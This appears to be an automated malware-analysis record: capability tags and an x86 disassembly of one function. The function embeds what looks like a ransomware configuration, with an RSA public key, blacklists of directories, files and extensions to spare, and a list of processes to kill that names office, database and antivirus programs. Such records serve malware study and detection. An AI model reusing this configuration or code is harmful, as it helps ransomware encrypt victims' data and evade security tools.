Function at 0x410450
Capabilities:
Encode data using xor
Manipulate boot configuration
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb8
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 0x84]
mov edi, dword [eax + 0x7c]
test ebx, ebx
je 0x410845
cmp byte [edi], 0x2e
jne 0x41084c
lea eax, [esp + 0x70]
push 1
push str.._n__public_rsa_pem_:_______BEGIN_PUBLIC_KEY______nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA8jT9jTtlea41CPHm9oaK_ns7j93wKJrVIkSF4rLqcG8tN60Tg2qpxXlr0VL5Mjmr3cIXL4No_ytOiURXqwJSPO_nIMEKdhbJbU4g87uxAg3rYCCt8MuwKgzEi7wrA1orKls7pQ0YGRCVcKTSyvJhZyE_nXF0BmHpoRLFSVaYZmRG9GGilIZGkBdCNUq6jwUfwCXwd1nolF3ARWeDnOkAHBl1_nn60xF84b_taCxs1imBZAAKZEVGg4rA08dfwWphSdRqNi843UAIJ54dqX6SqJncz9_nj6IxOHKPS1RoT7PfLrFMW9DeEZYLlyUS2mvZkvmCq4fF4wEeVrB16kfRbGv7M9_nvIfHDDVjQ6O6ASHuX0MiDhOSlC6JpF1TdW_twn9quoLW21E2NipvFODhtk8ntoW_nPfXt9iaNiy_cRHlOA2OjfBg9XrZKPpGLONKV_cILtbAvdOgrp9XUGGBXdI9vK_n7EIcpiJY2UWUF_XruzVFonxv1r2M08pvpI9BxczpVTZTKi13JW_UNth8KzGW7mf8_nfyZZkyfUdLYlq1SB3aPLwucq8spvvql2RLIQYZhASL5LmxOErHDoF44UgQuDGYP_n44rHo3ehGTzrKIauBagY81ahJct9ixhUdKRjxaocIA5XZJq0bBmAIB8V6pyLJ7_nnNS1eFO8wMpEi3iV4sIJTXUCAwEAAQ_n_____END_PUBLIC_KEY______n___n__private_rsa_pem_:_____n__directory_black_list_:___n__windows___n__system_volume_information___n__intel___n___windows.ws___n__application_data___n___recycle.bin___n__mozilla___n__program_files__x86____n__program_files___n___windows.bt___n__public___n__msocache___n__default___n__all_users___n__tor_browser___n__programdata___n__boot___n__config.msi___n__google___n__perflogs___n__appdata___n__windows.old___n__appdata___n__..___n__.___n__boot___n__windows___n__windows.old___n___recycle.bin___n__admin___n____n__file_black_list_:___n__desktop.ini___n__autorun.ini___n__ntldr___n__bootsect.bak___n__thumbs.db___n__boot.ini___n__ntuser.dat___n__iconcache.db___n__bootfont.bin___n__ntuser.ini___n__ntuser.dat.log___n__autorun.inf___n__boot.ini___n__bootfont.bin___n__bootmgr___n__bootmgr.efi___n__bootmgfw.efi___n__desktop.ini___n__iconcache.db___n__ntldr___n__ntuser.dat___n__ntuser.dat.log___n__ntuser.ini___n__thumbs.db___n__recycle___n__bootsect.bak__n____n__file_pattern_black_list_:___n__themepack___n__nls___n__diapkg___n__msi___n__lnk___n__exe___n__scr___n__bat___n__drv___n__rtp___n__msp___n__prf___n__msc___n__ico___n__key___n__ocx___n__diagcab___n__diagcfg___n__pdb___n__wpx___n__hlp___n__icns___n__rom___n__dll___n__msstyles___n__mod___n__ps1___n__ics___n__hta___n__bin___n__cmd___n__ani___n__386___n__lock___n__cur___n__idx___n__sys___n__com___n__deskthemepack___n__shs___n__ldf___n__theme___n__mpa___n__nomedia___n__spl___n__cpl___n__adv___n__icl___n__msu___n__MmXReVIxLV__n____n__process_black_list_:___n__encsvc___n__thebat___n__mydesktopqos___n__xfssvccon___n__firefox___n__infopath___n__winword___n__steam___n__synctime___n__notepad___n__ocomm___n__onenote___n__mspub___n__thunder_bird___n__agntsvc___n__sql___n__excel___n__powerpnt___n__outlook___n__wordpad___n__dbeng50___n__isqlplussvc___n__sqbcoreservice___n__oracle___n__ocautoupds___n__dbsnmp___n__msaccess___n__tbirdconfig___n__ocssd___n__mvdesktopservice___n__googlecrashhandler64.exe___n__paxton.net2.clientservice.exe___n__sms.exe___n__sqlwriter.exe___n__amswmagt___n__pcsws.exe___n__kansgui.exe___n__v3svc.exe___n__naprdmgr.exe___n__kanmcmain.exe___n__acaegmgr.exe___n__prproficymgr.exe___n__rfwstub.exe___n__symlcsvc.exe___n__mfeann.exe___n__mbamservice.exe___n__zlclient.exe___n__capfasem.exe___n__fsqh.exe___n__pwdfilthelp.exe___n__mgntsvc.exe___n__fsaa.exe___n__ashdisp.exe___n__umxpol.exe___n__fwcfg.exe___n__prconfigmgr.exe___n__ccschedulersvc.exe___n__pshost.exe___n__ixavsvc.exe___n__cctray.exe___n__dltray.exe___n__pxeservice.exe___n__kpfw32.exe___n__scanexplicit.exe___n__nrmenctb.exe___n__hdb.exe___n__fwinst.exe___n__scftray.exe___n__mfewch.exe___n__sevinst.exe___n__mgavrtcl.exe___n__sysdoc32.exe___n__webproxy.exe___n__nlclient.exe___n__vmacthlp.exe___n__drweb32w.exe___n__nimcluster.exe___n__cfpsbmit.exe___n__mfevtps.exe___n__mskdetct.exe___n__mpfconsole.exe___n__krbcc32s.exe___n__pthosttr.exe___n__fsguiexe.exe___n__firewallgui.exe___n__alogserv.exe___n__engineserver.exe___n__uploadrecord.exe___n__lucoms
push ebx
mov dword [esp + 0x74], edi
push edi
push eax
call fcn.00418680
add esp, 0x14
mov eax, dword [esp + 0xa4]
mov edi, dword [esp + 0x74]
mov ecx, dword [esp + 0xa0]
mov dword [esp + 4], ebx
cmp eax, edi
mov dword [esp + 8], ecx
mov dword [esp + 0x20], eax
sete dl
cmp dword [esp + 0x70], 0
je 0x410889
mov edx, dword [esp + 0x8c]
cmp edx, eax
je 0x410890
mov ecx, dword [esp + 0xac]
mov dword [esp], edx
mov edi, dword [esp + 0x80]
mov edx, dword [esp + 0x88]
mov dword [esp + 0x34], edx
mov esi, ecx
mov edx, ecx
mov dword [esp + 0x18], ecx
lea ecx, [edi - 1]
mov dword [esp + 0x1c], edi
sub esi, dword [esp + 0x34]
cmp ecx, edx
mov dword [esp + 0x54], ecx
mov ecx, edi
setb byte [esp + 0x17]
sub ecx, dword [esp]
mov dword [esp + 0x58], esi
mov esi, edx
mov dword [esp + 0x30], ecx
mov ecx, dword [esp]
neg ecx
mov dword [esp + 0x24], ecx
xor ecx, ecx
sub esi, edi
cmovb esi, ecx
lea ecx, [edx - 1]
mov edx, dword [esp + 0xa8]
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x94]
mov dword [esp + 0x64], esi
mov esi, dword [esp + 8]
mov dword [esp + 0x50], edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x40], ecx
mov ecx, dword [esp + 0x7c]
mov dword [esp + 0x3c], ecx
mov ecx, dword [esp]
lea ecx, [esi + ecx]
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp]
lea ecx, [edi + ecx]
mov dword [esp + 0x48], ecx
lea ecx, [esi + ecx]
lea esi, [edx + edi]
lea edx, [edx + edi - 1]
mov dword [esp + 0x5c], edx
mov edx, dword [esp]
mov dword [esp + 0x44], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x6c], esi
lea edx, [edi + edx - 1]
mov edi, dword [esp]
mov dword [esp + 0x28], edx
mov edx, ecx
lea ecx, [edi + ecx - 1]
cmp ecx, eax
jae 0x4109a5
add edx, edi
cmp dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], edi
mov dword [esp], edx
mov edx, dword [esp + 0x34]
lea edx, [edi + edx]
mov dword [esp + 0x2c], edx
je 0x4106f6
mov edx, dword [esp + 0x30]
neg edx
mov dword [esp + 0x60], edx
mov edx, dword [esp + 0x10]
cmp edx, edi
jne 0x4108e5
mov edx, dword [esp + 8]
mov esi, 1
mov edi, 1
movzx ecx, byte [edx + ecx]
xor edx, edx
shld edx, esi, cl
shl edi, cl
test cl, 0x20
mov ecx, 0
cmovne edx, edi
cmovne edi, ecx
and edx, dword [esp + 0x3c]
and edi, dword [esp + 0x40]
or edi, edx
je 0x410670
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0xc]
cmp edx, ecx
cmova ecx, edx
mov edx, dword [esp + 0x18]
mov ebx, ecx
cmp ecx, edx
cmova edx, ecx
nop dword [eax + eax]
cmp edx, ebx
je 0x410690
mov edi, dword [esp + 0x10]
add edi, ebx
cmp edi, eax
jae 0x410a4a
mov eax, dword [esp + 0x50]
mov esi, dword [esp + 0x4c]
lea edi, [ebx + 1]
movzx eax, byte [eax + ebx]
cmp al, byte [esi + ebx]
mov eax, dword [esp + 0x20]
mov ebx, edi
je 0x410630
add edi, dword [esp + 0x60]
mov ebx, dword [esp + 4]
jmp 0x410673
mov edi, dword [esp]
xor edx, edx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0xc], edx
add ecx, edi
cmp ecx, eax
jb 0x4105d4
jmp 0x410a0c
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
nop dword [eax + eax]
cmp dword [esp + 0xc], ebx
jae 0x4106e5
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
dec ebx
cmp ebx, ecx
jae 0x410839
lea ecx, [ebx + edi]
cmp ecx, eax
jae 0x410a3f
mov eax, dword [esp + 0x50]
mov edx, dword [esp + 8]
movzx eax, byte [eax + ebx]
cmp al, byte [edx + ecx]
je 0x4106a0
mov edx, dword [esp + 0x58]
mov edi, dword [esp + 0x2c]
mov ebx, dword [esp + 4]
mov eax, dword [esp + 0x20]
jmp 0x410675
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], 0
jmp 0x4107f2
mov edx, dword [esp + 0x24]
mov ebx, edi
neg edx
mov dword [esp + 0xc], edx
jmp 0x41071e
mov ecx, dword [esp + 0x38]
add ecx, ebx
cmp ecx, eax
jae 0x4108cf
cmp edi, ebx
jne 0x4108cf
mov edx, dword [esp + 8]
mov esi, 1
mov ebx, dword [esp]
movzx ecx, byte [edx + ecx]
xor edx, edx
shld edx, esi, cl
mov esi, 1
shl esi, cl
test cl, 0x20
mov ecx, 0
cmovne edx, esi
cmovne esi, ecx
and edx, dword [esp + 0x3c]
and esi, dword [esp + 0x40]
or esi, edx
mov esi, dword [esp + 0x64]
je 0x410710
xor ecx, ecx
nop word cs:[eax + eax]
nop dword [eax]
cmp esi, ecx
je 0x4107a5
mov edx, dword [esp + 0x48]
add edx, ecx
cmp edx, eax
jae 0x410a46
mov edx, dword [esp + 0x6c]
mov edi, dword [esp + 0x44]
lea ebx, [ecx + 1]
movzx edx, byte [edx + ecx]
cmp dl, byte [edi + ecx]
mov ecx, ebx
je 0x410770
add ebx, dword [esp + 0xc]
mov edi, dword [esp + 0x10]
jmp 0x410710
test byte [esp + 0x17], 1
je 0x41081f
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x5c]
mov esi, dword [esp + 0x1c]
nop dword [eax + eax]
sub esi, 1
jb 0x4107ea
cmp ecx, eax
jae 0x410a3f
movzx edx, byte [ebx]
mov edi, dword [esp + 8]
dec ebx
cmp dl, byte [edi + ecx]
mov edi, dword [esp + 0x10]
lea ecx, [ecx - 1]
je 0x4107c0
mov ebx, dword [esp + 0x2c]
jmp 0x410710
mov dword [esp + 0xc], 0xffffffff
mov ecx, dword [esp + 0x18]
mov edi, dword [esp]
mov ebx, dword [esp + 4]
sub dword [esp + 0x30], ecx
add dword [esp + 0x4c], ecx
sub dword [esp + 0x24], ecx
add dword [esp + 0x44], ecx
add dword [esp + 0x48], ecx
add dword [esp + 0x28], ecx
cmp edi, eax
jne 0x41059d
jmp 0x410890
cmp dword [esp + 0x1c], 0
mov ecx, dword [esp + 0x18]
mov edi, dword [esp]
mov dword [esp + 0xc], 0xffffffff
je 0x4107f9
mov ebx, dword [esp + 0x54]
push 0x505670
push ecx
push ebx
jmp 0x410a5c
mov esi, 1
jmp 0x410882
test ebx, ebx
js 0x410a86
mov esi, dword [0x56bbf8]
mov eax, dword [esi]
test eax, eax
jne 0x41086f
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x410a79
mov dword [esi], eax
push ebx
push 0
push eax
call sub.kernel32.dll_HeapAlloc
mov esi, eax
test eax, eax
je 0x410a79
push ebx
push edi
jmp 0x4109f0
cmp byte [esp + 0x7e], 0
je 0x41089c
mov esi, 1
xor ebx, ebx
jmp 0x4109e6
movzx ecx, byte [esp + 0x7c]
test dl, 1
je 0x4108f9
mov esi, dword [esp + 8]
test edi, edi
je 0x410a1b
cmp eax, edi
jbe 0x410a2d
cmp byte [esi + edi], 0xc0
jl 0x410a66
test cl, cl
je 0x410890
xor cl, 1
jne 0x4108c8
jmp 0x410890
mov ebx, dword [esp + 4]
sub ebx, edi
mov esi, 1
je 0x4109e6
jmp 0x4109ae
mov edi, edx
sub ebx, edi
mov esi, 1
je 0x4109e6
jmp 0x4109ae
mov esi, dword [esp + 8]
jmp 0x410919
mov ch, byte [esi + edi]
test ch, ch
js 0x410935
movzx edx, ch
mov ch, cl
xor ch, 1
test cl, cl
mov cl, ch
je 0x41099c
test edi, edi
je 0x410900
cmp eax, edi
jbe 0x410a66
mov ch, byte [esi + edi]
cmp ch, 0xbf
jle 0x410a66
test ch, ch
jns 0x410907
movzx ebx, byte [esi + edi + 1]
mov dl, ch
and dl, 0x1f
movzx edx, dl
and ebx, 0x3f
cmp ch, 0xe0
jb 0x41097f
movzx esi, byte [esi + edi + 2]
shl ebx, 6
and esi, 0x3f
or esi, ebx
cmp ch, 0xf0
jb 0x41098a
mov eax, edi
mov edi, dword [esp + 8]
and edx, 7
shl esi, 6
shl edx, 0x12
movzx edi, byte [edi + eax + 3]
and edi, 0x3f
or edi, esi
or edx, edi
mov edi, eax
mov eax, dword [esp + 0x20]
jmp 0x41098f
shl edx, 6
or edx, ebx
mov ebx, dword [esp + 4]
jmp 0x41090a
shl edx, 0xc
or edx, esi
mov ebx, dword [esp + 4]
mov esi, dword [esp + 8]
jmp 0x41090a
cmp edx, 0x110000
cmove edi, ebx
sub ebx, edi
mov esi, 1
je 0x4109e6
js 0x410a86
mov esi, dword [0x56bbf8]
mov eax, dword [esi]
test eax, eax
jne 0x4109cf
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x410a79
mov dword [esi], eax
push ebx
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x410a79
mov esi, eax
mov dword [esp + 4], edi
mov eax, dword [esp + 0x68]
add eax, dword [esp + 4]
push ebx
push eax
push esi
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 8]
mov dword [eax], esi
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [esp + 0x10]
sub ebx, edi
mov esi, 1
je 0x4109e6
jmp 0x4109ae
test cl, cl
je 0x410890
xor cl, 1
jne 0x410a23
jmp 0x410890
test cl, cl
je 0x410890
xor cl, 1
jne 0x410a35
jmp 0x410890
push 0x505680
jmp 0x410a5a
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
add ecx, edx
cmp eax, ecx
cmova ecx, eax
push 0x505660
push eax
push ecx
call fcn.00414b90
add esp, 0xc
ud2
push 0x50576c
push eax
push edi
push eax
push esi
call fcn.00418f30
add esp, 0x14
ud2
push 1
push ebx
call fcn.004085f0
add esp, 8
ud2
call fcn.004085b0
ud2